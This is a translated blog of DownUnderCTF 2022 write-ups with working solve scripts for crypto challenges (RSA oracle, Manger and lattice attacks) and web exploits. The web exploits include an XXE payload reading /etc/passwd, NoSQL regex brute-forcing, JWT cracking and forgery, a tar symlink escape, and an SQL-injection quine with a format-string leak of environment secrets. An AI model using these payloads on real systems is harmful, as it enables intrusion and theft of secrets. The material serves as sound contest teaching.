DownUnderCTF 2022 Writeups

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

This time, I participated solo in this year's DownUnderCTF using the peko team and achieved sixth place. Initially, I was aiming for the crypto challenges, but the other challenges were also very interesting.

  Scoreboard Screenshot

crypto

baby arx

A cipher that looks very z3 friendly, so I solved it directly with z3.

from z3 import *


class baby_arx:
    def __init__(self, key):
        assert len(key) == 64
        self.state = list(key)

    def b(self):
        b1 = self.state[0]
        b2 = self.state[1]
        b1 = b1 ^ ((b1 << 1) | (b1 & 1))
        b2 = b2 ^ (LShR(b2, 5) | (b2 << 3))
        b = b1 + b2
        self.state = self.state[1:] + [b]
        return b

    def stream(self, n):
        return [self.b() for _ in range(n)]


ct = bytes.fromhex(
    "cb57ba706aae5f275d6d8941b7c7706fe261b7c74d3384390b691c3d982941ac4931c6a4394a1a7b7a336bc3662fd0edab3ff8b31b96d112a026f93fff07e61b"
)

key = [BitVec(f"key{i}", 8) for i in range(64)]
sol = Solver()
out = baby_arx(key).stream(64)
for x, y in zip(out, ct):
    sol.add(x == y)
for x, y in zip(key, b"DUCTF{"):
    sol.add(x == y)
for x in key:
    sol.add(And(x >= 20, x <= 127))
assert sol.check() == sat
m = sol.model()
key = [m[k].as_long() for k in key]
print(bytes(key))
# DUCTF{i_d0nt_th1nk_th4ts_h0w_1t_w0rks_actu4lly_92f45fb961ecf420}

oracle for block cipher enthusiasts

#!/usr/bin/env python3

from os import urandom, path
from Crypto.Cipher import AES


FLAG = open(path.join(path.dirname(__file__), 'flag.txt'), 'r').read().strip()
MESSAGE = f'Decrypt this... {urandom(300).hex()} {FLAG}'


def main():
    key = urandom(16)
    for _ in range(2):
        iv = bytes.fromhex(input('iv: '))
        aes = AES.new(key, iv=iv, mode=AES.MODE_OFB)
        ct = aes.encrypt(MESSAGE.encode())
        print(ct.hex())


if __name__ == '__main__':
    main()

You can specify two IVs, and it will use the same key to encrypt the same message with AES-OFB. Checking AES-OFB, you can see from the image that as long as you have a known plaintext and ciphertext block, you can get the next block's IV. So, the first IV is arbitrary, and the second IV is the first block of the ciphertext XOR Decrypt this....

In this way, the two ciphertexts are equivalent to being encrypted with two key streams with different offsets. Since they differ by only one block and we know the plaintext of the first block, we can deduce the entire plaintext with a bit of effort.

from pwn import *


def xor(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])


def blocks(x, n):
    return [x[i : i + n] for i in range(0, len(x), n)]


prefix = b"Decrypt this... "[:16]

# io = process(["python", "ofb.py"])
io = remote("2022.ductf.dev", 30009)
io.sendlineafter(b"iv: ", (b"\x00" * 16).hex().encode())
ct1 = bytes.fromhex(io.recvlineS().strip())
io.sendlineafter(b"iv: ", xor(prefix, ct1).hex().encode())
ct2 = bytes.fromhex(io.recvlineS().strip())

enc1 = blocks(ct1, 16)
enc2 = blocks(ct2, 16)
pt = prefix
for x, y in zip(enc2, enc1[1:]):
    pt += xor(xor(x, pt[-16:]), y)
print(pt)
# DUCTF{0fb_mu5t_4ctu4lly_st4nd_f0r_0bvi0usly_f4ul7y_bl0ck_c1ph3r_m0d3_0f_0p3ra710n_7b9cb403e8332c980456b17a00abd51049cb8207581c274fcb233f3a43df4a}

cheap ring theory

p = 55899879511190230528616866117179357211
V = GF(p)^3
R.<x> = PolynomialRing(GF(p))
f = x^3 + 36174005300402816514311230770140802253*x^2 + 35632245244482815363927956306821829684*x + 10704085182912790916669912997954900147
Q = R.quotient(f)

def V_pow(A, n):
    return V([a^n for a in list(A)])

n, m = randint(1, p), randint(1, p)
A = Q.random_element()
B = Q.random_element()
C = A^n * B^m

print(' '.join(map(str, list(A))))
print(' '.join(map(str, list(B))))
print(' '.join(map(str, list(C))))

phi_A = V(list(map(int, input().split())))
phi_B = V(list(map(int, input().split())))
phi_C = V(list(map(int, input().split())))

check_phi_C = V_pow(phi_A, n).pairwise_product(V_pow(phi_B, m))

if phi_C == check_phi_C:
    print(open('./flag.txt', 'r').read().strip())

Hmm... looks interesting, but it's easy to find that you can pass the check by inputting 0 0 0 or 1 1 1.

For those interested, you can read the official writeup.

rsa interval oracle i

#!/usr/bin/env python3

import signal, time
from os import urandom, path
from Crypto.Util.number import getPrime, bytes_to_long


FLAG = open(path.join(path.dirname(__file__), 'flag.txt'), 'r').read().strip()

N_BITS = 384
TIMEOUT = 10 * 60
MAX_INTERVALS = 384
MAX_QUERIES = 384


def main():
    p, q = getPrime(N_BITS//2), getPrime(N_BITS//2)
    N = p * q
    e = 0x10001
    d = pow(e, -1, (p - 1) * (q - 1))

    secret = bytes_to_long(urandom(N_BITS//9))
    c = pow(secret, e, N)

    print(N)
    print(c)

    intervals = []
    queries_used = 0

    while True:
        print('1. Add interval\n2. Request oracle\n3. Get flag')
        choice = int(input('> '))

        if choice == 1:
            if len(intervals) >= MAX_INTERVALS:
                print('No more intervals allowed!')
                continue

            lower = int(input(f'Lower bound: '))
            upper = int(input(f'Upper bound: '))
            intervals.insert(0, (lower, upper))

        elif choice == 2:
            queries = input('queries: ')
            queries = [int(c.strip()) for c in queries.split(',')]
            queries_used += len(queries)
            if queries_used > MAX_QUERIES:
                print('No more queries allowed!')
                continue

            results = []
            for c in queries:
                m = pow(c, d, N)
                for i, (lower, upper) in enumerate(intervals):
                    in_interval = lower < m < upper
                    if in_interval:
                        results.append(i)
                        break
                else:
                    results.append(-1)

            print(','.join(map(str, results)), flush=True)

            time.sleep(MAX_INTERVALS * (MAX_QUERIES // N_BITS - 1))
        elif choice == 3:
            secret_guess = int(input('Enter secret: '))
            if secret == secret_guess:
                print(FLAG)
            else:
                print('Incorrect secret :(')
            exit()

        else:
            print('Invalid choice')


if __name__ == '__main__':
    signal.alarm(TIMEOUT)
    main()

In short, there is an RSA decryption oracle where you can choose the interval. One approach is to use the ability to add intervals and query them alternately, so a binary search can be used directly.

from pwn import *


# context.log_level = 'debug'
# io = process(["python", "rsa-interval-oracle-i.py"])
io = remote("2022.ductf.dev", 30008)
e = 0x10001
n = int(io.recvline())
c = int(io.recvline())


l = -1
r = 2**336
while l + 1 < r:
    m = (l + r) // 2
    print(l, r)
    io.sendafter(b"> ", f"1\n{l}\n{m+1}\n".encode())
    io.sendafter(b"> ", f"2\n{c}\n".encode())
    res = int(io.recvline().split(b": ")[1])
    if res == 0:
        r = m
    else:
        l = m
for x in range(l, r + 1):
    if pow(x, e, n) == c:
        io.sendafter(b"> ", b"3\n")
        io.sendline(str(x).encode())
        io.interactive()
        break
# DUCTF{d1d_y0u_us3_b1n4ry_s34rch?}

rsa interval oracle ii

diff rsa-interval-oracle-i.py rsa-interval-oracle-ii.py:

12c12
< MAX_INTERVALS = 384
---
> MAX_INTERVALS = 1

So now we only have one interval but can still query 384 times. If the only interval is [0,B)[0, B), then the oracle becomes am<Bam < B, which reminds us of Manger's Attack. Then, as a script kiddie, I directly used an existing implementation and modified it.

from pwn import *
import gmpy2


def pow(a, b, c):
    return int(gmpy2.powmod(a, b, c))


def attempt():
    # context.log_level = 'debug'
    # io = process(["python", "rsa-interval-oracle-ii.py"])
    io = remote("2022.ductf.dev", 30011)
    e = 0x10001
    n = int(io.recvline())
    c = int(io.recvline())

    k = 48
    B = 1 << (8 * k - 8)
    io.sendafter(b"> ", f"1\n-1\n{B}\n".encode())

    def oracle(c):
        io.sendafter(b"> ", f"2\n{c}\n".encode())
        return int(io.recvline().split(b": ")[1]) != -1

    def Manger_Attack(c):
        f1 = 2
        while True:
            val = (pow(f1, e, n) * c) % n
            if oracle(val):
                f1 = 2 * f1
            else:
                break
        print("first")
        f12 = f1 // 2
        f2 = ((n + B) // B) * f12
        while True:
            val = (pow(f2, e, n) * c) % n
            if oracle(val):
                break
            else:
                f2 += f12
        print("second")
        m_min = (n + f2 - 1) // f2
        m_max = (n + B) // f2
        # note the ERRATA from https://github.com/GDSSecurity/mangers-oracle
        while m_min < m_max:
            f_tmp = (2 * B) // (m_max - m_min)
            I = (f_tmp * m_min) // n
            f3 = (I * n + m_min - 1) // m_min
            val = (pow(f3, e, n) * c) % n
            if oracle(val):
                m_max = (I * n + B) // f3
            else:
                m_min = (I * n + B + f3 - 1) // f3
        return m_min

    try:
        res = Manger_Attack(c)
        print(res)
        io.sendafter(b"> ", b"3\n")
        io.sendline(str(res).encode())
        print(io.recvlineS())
        return True
    except:
        return False


while not attempt():
    pass
# DUCTF{Manger_w0uld_b3_pr0ud_0f_y0u}

rsa interval oracle iii

diff rsa-interval-oracle-ii.py rsa-interval-oracle-iii.py:

11,13c11,13
< TIMEOUT = 10 * 60
< MAX_INTERVALS = 1
< MAX_QUERIES = 384
---
> TIMEOUT = 3 * 60
> MAX_INTERVALS = 4
> MAX_QUERIES = 4700

You can see that it shortened the timeout and now allows 4 intervals and 4700 queries. However, due to an unintended solution, the author later released rsa interval oracle iv. I solved this challenge using the intended solution for iv, so I'll just provide a script for reference since the method I used is the same.

from pwn import process, remote, context
import random
from Crypto.Util.number import sieve_base


N_BITS = 384
TIMEOUT = 3 * 60
MAX_INTERVALS = 4
MAX_QUERIES = 4700
B = 1 << (N_BITS // 9 * 8)


def connect():
    # context.log_level = 'debug'
    # io = process(["python", "rsa-interval-oracle-iii.py"])
    io = remote("2022.ductf.dev", 30010)
    e = 0x10001
    N = int(io.recvline())
    c = int(io.recvline())
    ar = []
    lb = []
    ub = []
    intervals = [
        (0, 2 ** (N_BITS - 11)),
        (0, 2 ** (N_BITS - 10)),
        (0, 2 ** (N_BITS - 9)),
        (0, 2 ** (N_BITS - 8)),
    ]
    for lb, ub in intervals[::-1]:
        io.sendafter(b"> ", f"1\n{lb}\n{ub}\n".encode())

    # cand = [random.randint(1, N) for _ in range(4700)]
    cand = [power_mod(pr, -1, N) for pr in sieve_base[:4700]]
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"queries: ", ",".join([str(c*power_mod(a,e,N)%N) for a in cand]).encode())
    res = list(map(int, io.recvlineS().strip().split(",")))
    ar = []
    lb = []
    ub = []
    for a, r in zip(cand, res):
        if r != -1:
            ar.append(a)
            lb.append(intervals[r][0])
            ub.append(intervals[r][1])
    return io, (ar, lb, ub), (N, e, c)


while True:
    io, (ar, lb, ub), (N, e, c) = connect()
    print(len(ar))
    if len(ar) < 45:
        print("again")
        io.close()
        continue
    if len(ar) > 60:
        ar = ar[:60]
        lb = lb[:60]
        ub = ub[:60]
    load("solver.sage")
    M = matrix(ar).stack(matrix.identity(len(ar)) * N)
    M = matrix([1] + len(ar) * [0]).T.augment(M)
    _, _, fin = solve(M, [0] + lb, [B] + ub)
    secret = fin[0]
    print(secret)
    if power_mod(secret, e, N) != c:
        print("QAQ")
        io.close()
        continue
    io.sendafter(b"> ", b"3\n")
    io.sendline(str(secret).encode())
    print(io.recvlineS())
    break
# DUCTF{rsa_1nt3rv4l_0r4cl3_1s_n0_m4tch_f0r_y0u!}

Additionally, the unintended solution mentioned by the author involves setting the interval to [0,N/2)[0,N/2) and using a method similar to the lsb oracle. The sleep part makes it difficult to alternate between querying and adding intervals due to the large MAX_QUERIES, but the author mentioned that you can send all queries at once to achieve the lsb oracle effect.

time locked

from hashlib import sha256
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES


ct = bytes.fromhex('85534f055c72f11369903af5a8ac64e2f4cbf27759803041083d0417b5f0aaeac0490f018b117dd4376edd6b1c15ba02')


p = 275344354044844896633734474527970577743
a = [2367876727, 2244612523, 2917227559, 2575298459, 3408491237, 3106829771, 3453352037]
α = [843080574448125383364376261369231843, 1039408776321575817285200998271834893, 712968634774716283037350592580404447, 1166166982652236924913773279075312777, 718531329791776442172712265596025287, 766989326986683912901762053647270531, 985639176179141999067719753673114239]


def f(n):
    if n < len(α):
        return α[n]

    n -= len(α) - 1
    t = α[::-1]
    while n > 0:
        x = sum([a_ * f_ for a_, f_ in zip(a, t)]) % p
        t = [x] + t[:-1]
        n -= 1

    return t[0]


n = 2**(2**1337)
key = sha256(str(f(n)).encode()).digest()
aes = AES.new(key, AES.MODE_ECB)
flag = unpad(aes.decrypt(ct), 16)
print(flag.decode())

The goal is to calculate the 2213372^{2^{1337}}-th term of a mysterious function f(n)f(n) to obtain the AES key. The mysterious function f(n)f(n) looks like an LFSR, so it's a recurrence relation. The first step is to see if there's a way to speed up the calculation, such as an O(logn)\mathcal{O}(\log{n}) method to compute f(n)f(n). Since it's similar to the Fibonacci sequence, we can use a similar method with a matrix and compute the nn-th term in O(logn)\mathcal{O}(\log{n}) time using fast exponentiation.

However, logn=21337\log{n} = 2^{1337} is still too large to compute, so we need to find a way to speed it up. We can notice that this is a matrix in Fp\mathbf{F}_p, which also has an order rr, so we only need to compute the 21337(modr)2^{1337} \pmod{r}-th power of the matrix.

One way to find the order is to use multiplicative_order, but since it's similar to discrete log, it takes a long time. Fortunately, the largest factor in p1p-1 is only 68 bits, so it's feasible.

Another method is to use the answer from Order of general- and special linear groups over finite fields, which gives a number that is a multiple of the order mentioned above and can be used.

p = 275344354044844896633734474527970577743
a = [2367876727, 2244612523, 2917227559, 2575298459, 3408491237, 3106829771, 3453352037]
alpha = [
    843080574448125383364376261369231843,
    1039408776321575817285200998271834893,
    712968634774716283037350592580404447,
    1166166982652236924913773279075312777,
    718531329791776442172712265596025287,
    766989326986683912901762053647270531,
    985639176179141999067719753673114239,
]


def f(n):
    if n < len(alpha):
        return alpha[n]

    n -= len(alpha) - 1
    t = alpha[::-1]
    while n > 0:
        x = sum([a_ * f_ for a_, f_ in zip(a, t)]) % p
        t = [x] + t[:-1]
        n -= 1
    return t[0]


K = GF(p)
M = matrix(K, a).stack(matrix.identity(len(a)))[:-1]


def f2(n):
    if n < len(alpha):
        return alpha[n]
    # return (M ^ (n - 6) * vector(alpha[::-1]))[0]
    return (M ^ n * vector(alpha[::-1]))[-1]


assert f(87) == f2(87)

# this works because the max prime factor of p-1 is 68 bits:
# od = M.multiplicative_order()
# od = 5747840427578934579418402212446804534742054912959507472646427706581721672984212149543182307880849869521914657360442377375504061940654295742621914326868064

# you can use this too: https://math.stackexchange.com/questions/34271/order-of-general-and-special-linear-groups-over-finite-fields
od = product([p ^ 7 - p ^ i for i in range(7)])
n = power_mod(2, 2**1337, od)

from hashlib import sha256
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES

ct = bytes.fromhex(
    "85534f055c72f11369903af5a8ac64e2f4cbf27759803041083d0417b5f0aaeac0490f018b117dd4376edd6b1c15ba02"
)
key = sha256(str(f2(n)).encode()).digest()
aes = AES.new(key, AES.MODE_ECB)
flag = unpad(aes.decrypt(ct), 16)
print(flag.decode())
# DUCTF{p4y_t0_w1n_91ea0a7b4b688fc8}

rsa interval oracle iv

diff rsa-interval-oracle-iii.py rsa-interval-oracle-iv.py:

28c28
<     intervals = []
---
>     intervals = [(0, 2**(N_BITS - 11)), (0, 2**(N_BITS - 10)), (0, 2**(N_BITS - 9)), (0, 2**(N_BITS - 8))]
44a45,48
>             if queries_used > 0:
>                 print('No more queries allowed!')
>                 continue
> 
65d68
<             time.sleep(MAX_INTERVALS * (MAX_QUERIES // N_BITS - 1))

One change is that the intervals are now fixed and cannot be decided by the user. Another change is that you can only send all 4700 queries at once.

My method is simple: first, randomly select 4700 numbers aia_i, then send aiec(modN)a_i^e c \pmod{N} to the oracle. It will decrypt to aim(modN)a_i m \pmod{N}. If it falls within the interval, we get the information Li<aim(modN)<RiL_i < a_i m \pmod{N} < R_i. Naturally, we wonder if we can use multiple such pieces of information (less than 4700).

For those familiar with CTF, it should be easy to think of LLL/CVP-related methods, and this challenge is exactly about that.

L=[1a0a1annnn]L= \begin{bmatrix} 1 & a_0 & a_1 & \cdots & a_n \\ & n \\ & & n \\ & & & \ddots \\ & & & & n \end{bmatrix}

We can see that the lattice formed by LL contains a vector vv, with upper and lower bounds (0,L0,L1,)(0,L_0,L_1,\cdots) and (B,R0,R1,)(B,R_0,R_1,\cdots), where BB is the upper bound of mm. So, we can use Inequality Solving with CVP (automatic weight adjustment CVP) to solve it.

Specifically, based on my tests, n50n \geq 50 is more likely to succeed, so a bit of luck is needed. Each inequality provides about 8 bits of information, so a total of 8×40=4008 \times 40 = 400 bits of information is provided, which is more than mm, so it is expected to be solvable.

Actually, aia_i can be changed to the inverse of a small prime pp, p1p^{-1}, because mm is a random number and may have some small prime factors. If it happens to hit, p1mp^{-1} m will become small, increasing the probability of it falling within those intervals. In practice, this can add 2-3 more inequalities within the intervals.

from pwn import process, remote, context
import random
from Crypto.Util.number import sieve_base


N_BITS = 384
TIMEOUT = 3 * 60
MAX_INTERVALS = 4
MAX_QUERIES = 4700
B = 1 << (N_BITS // 9 * 8)


def connect():
    # context.log_level = 'debug'
    # io = process(["python", "rsa-interval-oracle-iv.py"])
    io = remote("2022.ductf.dev", 30030)
    e = 0x10001
    N = int(io.recvline())
    c = int(io.recvline())
    ar = []
    lb = []
    ub = []

    # cand = [random.randint(1, N) for _ in range(4700)]
    cand = [power_mod(pr, -1, N) for pr in sieve_base[:4700]]
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(
        b"queries: ", ",".join([str(c * power_mod(a, e, N) % N) for a in cand]).encode()
    )
    res = list(map(int, io.recvlineS().strip().split(",")))
    intervals = [
        (0, 2 ** (N_BITS - 11)),
        (0, 2 ** (N_BITS - 10)),
        (0, 2 ** (N_BITS - 9)),
        (0, 2 ** (N_BITS - 8)),
    ]
    ar = []
    lb = []
    ub = []
    for a, r in zip(cand, res):
        if r != -1:
            ar.append(a)
            lb.append(intervals[r][0])
            ub.append(intervals[r][1])
    return io, (ar, lb, ub), (N, e, c)


while True:
    io, (ar, lb, ub), (N, e, c) = connect()
    print(len(ar))
    if len(ar) < 50:
        print("again")
        io.close()
        continue
    if len(ar) > 60:
        ar = ar[:60]
        lb = lb[:60]
        ub = ub[:60]
    load("solver.sage")
    M = matrix(ar).stack(matrix.identity(len(ar)) * N)
    M = matrix([1] + len(ar) * [0]).T.augment(M)
    _, _, fin = solve(M, [0] + lb, [B] + ub)
    secret = fin[0]
    print(secret)
    if power_mod(secret, e, N) != c:
        print("QAQ")
        io.close()
        continue
    io.sendafter(b"> ", b"3\n")
    io.sendline(str(secret).encode())
    print(io.recvlineS())
    break
# DUCTF{rsa_1nt3rv4l_0r4cl3_1s_s3ri0usly_n0_m4tch_f0r_y0u...94b2a797eb5e0105}

Author's writeup converts it into an Extended HNP to solve.

web

helicoptering

This challenge requires bypassing two .htaccess files:

RewriteEngine On
RewriteCond %{HTTP_HOST} !^localhost$
RewriteRule ".*" "-" [F]
RewriteEngine On
RewriteCond %{THE_REQUEST} flag
RewriteRule ".*" "-" [F]

The first one can be bypassed by modifying the header, and the second one can be bypassed using URL encoding:

curl 'http://34.87.217.252:30026/one/flag.txt' -H 'Host: localhost'
curl 'http://34.87.217.252:30026/two/fl%61g.txt'


DUCTF{thats_it_next_time_im_using_nginx}

Treasure Hunt

A guessing game ==

Observing it, you can see that it uses JWT for sessions, but trying several common JWT tricks didn't work. After running out of ideas, I used hashcat + rockyou and it cracked ==

Then, just change the sub to 1 (guessing it's admin) to solve it.

.\hashcat.exe -a 0 -m 16500 .\hash.txt ..\rockyou.txt
secret: onepiece
DUCTF{7h3-0n3-p13c3-15-4ll-7h3-fl465-y0u-637-4l0n6-7h3-w4y}

dyslexxec

You can upload an Excel file, and it will process it. There's a part where it processes workbook.xml:

def findInternalFilepath(filename):
    try:
        prop = None
        parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
        tree = etree.parse(filename, parser=parser)
        root = tree.getroot()
        internalNode = root.find(".//{http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac}absPath")
        if internalNode != None:
            prop = {
                "Fieldname":"absPath",
                "Attribute":internalNode.attrib["url"],
                "Value":internalNode.text
            }
        return prop

    except Exception:
        print("couldnt extract absPath")
        return None

Obviously, there's an XXE here, and the flag is in /etc/passwd, so just read it directly.

<!DOCTYPE peko[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<!-- ... -->
<x15ac:absPath url="/Users/Shared/" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac" >&xxe;</x15ac:absPath>

DUCTF{cexxelsyd_work_my_dyslexxec_friend}

noteworthy

There is a lot of code, and the database uses MongoDB. In the /edit route, there's a NoSQL injection, so just use regex to brute force it:

import httpx
import asyncio
import string

jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2MzJkYjI1YzQ0NGQ0OGYzNzUwYmM0ODQiLCJpYXQiOjE2NjQwMDQyNTYsImV4cCI6MTY2NDYwOTA1Nn0.eFQkc7bXY95xx5OZayHPUupBV7QEcxYcWbUGDxlT2N0"
chs = string.ascii_lowercase + string.digits + "{_}"


async def check_flag(h, rgx):
    r = await h.post(
        "/edit",
        params={"noteId": 1337, "contents[$regex]": rgx},
        json={"contents": {"length": 201}},
    )
    return "You are not the owner of this note!" == r.json()["error"]


async def main():
    async with httpx.AsyncClient(
        base_url="https://web-noteworthy-873b7c844f49.2022.ductf.dev/", cookies={"jwt": jwt}, http2=True
    ) as h:
        flag = "DUCTF{"
        while not flag.endswith("}"):
            res = await asyncio.gather(*[check_flag(h, flag + c) for c in chs])
            for c, r in zip(chs, res):
                if r:
                    flag += c
                    print(flag)
                    break


asyncio.run(main())
# DUCTF{n0sql1_1s_th3_new_5qli}

Uni of Straya - Part 1

Initially, the source code for this series of challenges was not provided, but now that the competition is over, the source code is available here.

After logging in, you can see that it uses RS256 JWT. The header has an iss field pointing to /api/auth/pub-key. Requesting that path gives you an RSA public key. Trying to change iss to a third-party server results in an error saying it needs to match /api/auth/pub-key.

Additionally, playing around with the website, you can see that /api/auth/logout?redirect=/logout has an open redirect. Testing with iss changed to /api/auth/pub-key/../logout?redirect=SOME_WHERE_ELSE also receives a request, so it means you can make it use your own public key to verify the JWT, allowing you to forge JWTs arbitrarily.

Generate a key pair:

ssh-keygen -t rsa -b 4096 -m PEM -f myjwt.key
openssl rsa -in myjwt.key -pubout -outform PEM -out myjwt.pub

As for what to change in the JWT, it's simple. Since the data only has an id, a reasonable guess is that 1 represents admin. After changing it, browsing to /admin shows a request to /api/auth/isstaff, and the response JSON contains flag 1: DUCTF{iSs_t0_h0vSt0n_c4n_U_h3r3_uS_oR_r_w3_b31nG_r3dIrEcTeD!1!}.

This challenge has a Ruby Sinatra server:

# Flag is in the root as /flag (see attached Dockerfile)

require 'sinatra'
require 'securerandom'

set :environment, :production

def err(s)
  erb :index, :locals => {:links => [], :error => s}
end

def ok(l)
  erb :index, :locals => {:links => l, :error => nil}
end

get '/' do
  return ok []
end

post '/' do
  unless params[:tarfile] && (tempfile = params[:tarfile][:tempfile])
    return err "File not sent"
  end
  unless tempfile.size <= 10240
    return err "File too big"
  end 
  
  path = SecureRandom.hex 16
  unless Dir.mkdir "uploads/#{path}", 0755
    return err "Error creating directory"
  end
  unless system "tar -xvf #{tempfile.path} -C uploads/#{path}"
    return err "Error extracting tar file"
  end

  links = Dir.glob("uploads/#{path}/**/*", File::FNM_DOTMATCH).select do |f|
    # Don't show . or ..
    if [".", ".."].include? File.basename f
      false
    # Don't show symlinks. Additionally delete them, they may be unsafe
    elsif File.symlink? f
      File.unlink f
      false
    # Don't show directories (but show files under them)
    elsif File.directory? f
      false
    # Show everything else
    else
      true
    end
  end

  return ok links
end

get '/uploads/*' do
  filepath = "uploads/#{::Rack::Utils.clean_path_info params['splat'].first}"
  halt 404 unless File.file? filepath
  send_file filepath 
end

not_found do
  status 404
  '404'
end

error 500 do
  status 500
  '500'
end

After uploading a tar file, it uses GNU tar to extract it to a random directory and then uses glob to delete all symlinks. After that, you can read any file in the tar. The goal is to read /flag.

GNU tar itself has protection against tar slip, so it's hard to exploit. The goal is to find a way to use a symlink to /flag to read the flag.

My approach was to make glob unable to find the symlink, so it wouldn't be deleted. However, because of File::FNM_DOTMATCH, hidden files are also matched, so this method doesn't work.

After some time, I remembered that directories in Linux can have no r permission, meaning you can't read the file list in that directory. But if x is still there, you can still read files in it if you know their names. So, if tar has a directory with mode 300 (or 100), and it contains a symlink with a known name, it can bypass the glob + unlink.

The remaining task is to create that tar. Since chmod 300 makes tar unable to read the directory, I used Python's tarfile module to create it:

import tarfile
import io

with tarfile.open("./out.tar", "w") as tar:
    hello = tarfile.TarInfo("hello")
    hello.type = tarfile.DIRTYPE
    hello.mode = 0o300  # not readable, so glob won't be able to find the symlink
    tar.addfile(hello)

    world = tarfile.TarInfo("world")  # to leak folder name
    world.type = tarfile.REGTYPE
    world.mode = 0o400
    world.size = 5
    tar.addfile(world, io.BytesIO(b"world"))

    link = tarfile.TarInfo("hello/link")
    link.type = tarfile.SYMTYPE
    link.mode = 0o400
    link.linkname = "/flag"
    tar.addfile(link)
# DUCTF{are_symlinks_really_worth_the_trouble_they_cause?????}

Later, I found out that you can also use GNU tar's --mode parameter to set it, e.g., tar czf test.tar --mode=a-r hello achieves the same goal.

Uni of Straya - Part 2

In the /admin admin panel, you can see a feature to create assignments (assessments) for certain courses. You can choose between a regular file or an archive file (tar/zip). After creating an assessment that allows uploading archive files, I uploaded a tar containing a symlink to /etc/passwd. After uploading, reading the file worked, so creating a symlink to / allows arbitrary file reading.

The challenge description mentions that the flag is in flag.txt under the server directory, but I couldn't find it in common paths. Finally, I thought of using /proc/self/cwd to get the current working directory, so reading /proc/self/flag.txt gives the flag: DUCTF{t4r_t4r_tH4nK5_f4r_l1nK1nG_tH3_sAuCe!}.

sqli2022

from flask import Flask, request
import textwrap
import sqlite3
import os
import hashlib

assert len(os.environ['FLAG']) > 32

app = Flask(__name__)

@app.route('/', methods=['POST'])
def root_post():
    post = request.form
    
    # Sent params?
    if 'username' not in post or 'password' not in post:
        return 'Username or password missing from request'

    # We are recreating this every request
    con = sqlite3.connect(':memory:')
    cur = con.cursor()
    cur.execute('CREATE TABLE users (username TEXT, password TEXT)')
    cur.execute(
        'INSERT INTO users VALUES ("admin", ?)',
        [hashlib.md5(os.environ['FLAG'].encode()).hexdigest()]
    )
    output = cur.execute(
        'SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}'
        .format(post=post)
    ).fetchone()
    
    # Credentials OK?
    if output is None:
        return 'Wrong credentials'
    
    # Nothing suspicious?
    username, password = output
    if username != post["username"] or password != post["password"]:
        return 'Wrong credentials (are we being hacked?)'
    
    # Everything is all good
    return f'Welcome back {post["username"]}! The flag is in FLAG.'.format(post=post)

@app.route('/', methods=['GET'])
def root_get():
    return textwrap.dedent('''
       <html>
         <head></head>
         <body>
           <form action="/" method="post">
             <p>Welcome to admin panel!</p>
             <label for="username">Username:</label>
             <input type="text" id="username" name="username"><br><br>
             <label for="password">Password:</label>
             <input type="text" id="password" name="password"><br><br>
             <input type="submit" value="Submit">
          </form> 
         </body>
       </html>
    ''').strip()

The challenge name suggests SQL injection, but it checks username != post["username"] or password != post["password"], so an SQL injection quine is needed.

Assuming we pass the login check, how do we get the flag from the environment variables? The return part mixes f-string and str.format, and username is controllable. So, we can use a Python format string to leak the flag. Since request.form is werkzeug.ImmutableMultiDict, setting username to {post.copy.__globals__[os].environ[FLAG]} leaks the flag.

The difficult part is the SQL injection quine. First, it uses !r to escape, which is equivalent to Python's repr, and it also does some escaping. However, bypassing it is simple because Python and SQLite handle \ (backslash) differently. For example, print(repr("\"'abc")) outputs '"\'abc', and in SQL, the backslash in a single quote string is ignored, so abc is outside the string literal, resulting in SQL injection.

As for the quine part, it's really tricky. This challenge reminded me of AIS3 EOF 2020 Quals - Cyberpunk 1977, which also involves a Python format string + SQL injection quine. So, I directly used its exploit and modified it. After some painful quine adjustments, I finally wrote an exploit to get the flag:

import os
import sqlite3
import hashlib

os.environ["FLAG"] = "test_flag"
# sqli quine modified from https://github.com/splitline/My-CTF-Challenges/blob/049b591445b2ab902a6fdefa2382d44ef9f5af50/ais3-eof/2020-quals/Web/CYBERPUNK1977/exploit/solution.py#L23-L30
# request.form is ImmutableMultiDict
username = "{post.copy.__globals__[os].environ[FLAG]}"
fmt_leak = "||".join([f"CHAR({hex(ord(x))})" for x in username])
# fmt_leak = "CHAR(0x61)||CHAR(0x62)||CHAR(0x63)||CHAR(0x64)"
query = f"'UNION SELECT '{fmt_leak}',substr(query,1,###)||X'22'||query||X'22'||substr(query,@@@)"
query = f"\"'UNION SELECT {fmt_leak},substr(query,1,###)||char(0x22)||query||char(0x22)||substr(query,@@@)"
query = f"\"'UNION SELECT {fmt_leak},replace(substr(query,1,###),char(0x5c)||char(0x27),char(0x22)||char(0x27))||char(0x22)||query||char(0x22)||substr(query,@@@)"
query = f"\"'UNION SELECT {fmt_leak},replace(  replace(substr(query,1,###),char(0x5c)||char(0x27),char(0x22)||char(0x27))||char(0x22)||query||char(0x22)||substr(query,@@@), char(0x22)||char(0x5c),char(0x20)||char(0x22))"
payload = f"""
{query} FROM(SELECT {query} FROM(SELECT as query)--" as query)--
""".strip()  # .replace(" ", "/**/")
offset = payload.index(' "\x27UNION')  # start of `query`
payload = payload.replace("###", str(offset)).replace("@@@", str(offset + 1))

post = {"username": username, "password": payload}

con = sqlite3.connect(":memory:")
cur = con.cursor()
cur.execute("CREATE TABLE users (username TEXT, password TEXT)")
cur.execute(
    'INSERT INTO users VALUES ("admin", ?)',
    [hashlib.md5(os.environ["FLAG"].encode()).hexdigest()],
)
sql = "SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}".format(
    post=post
)
print(sql)
output = cur.execute(sql).fetchone()
print()
print(output[0])
print(output[1])
print()
print(post["username"])
print(post["password"])
print()
assert output[0] == post["username"]
assert output[1] == post["password"]

import requests

print(
    requests.post("https://web-sqli2022-85d13aec009e.2022.ductf.dev/", data=post).text
)
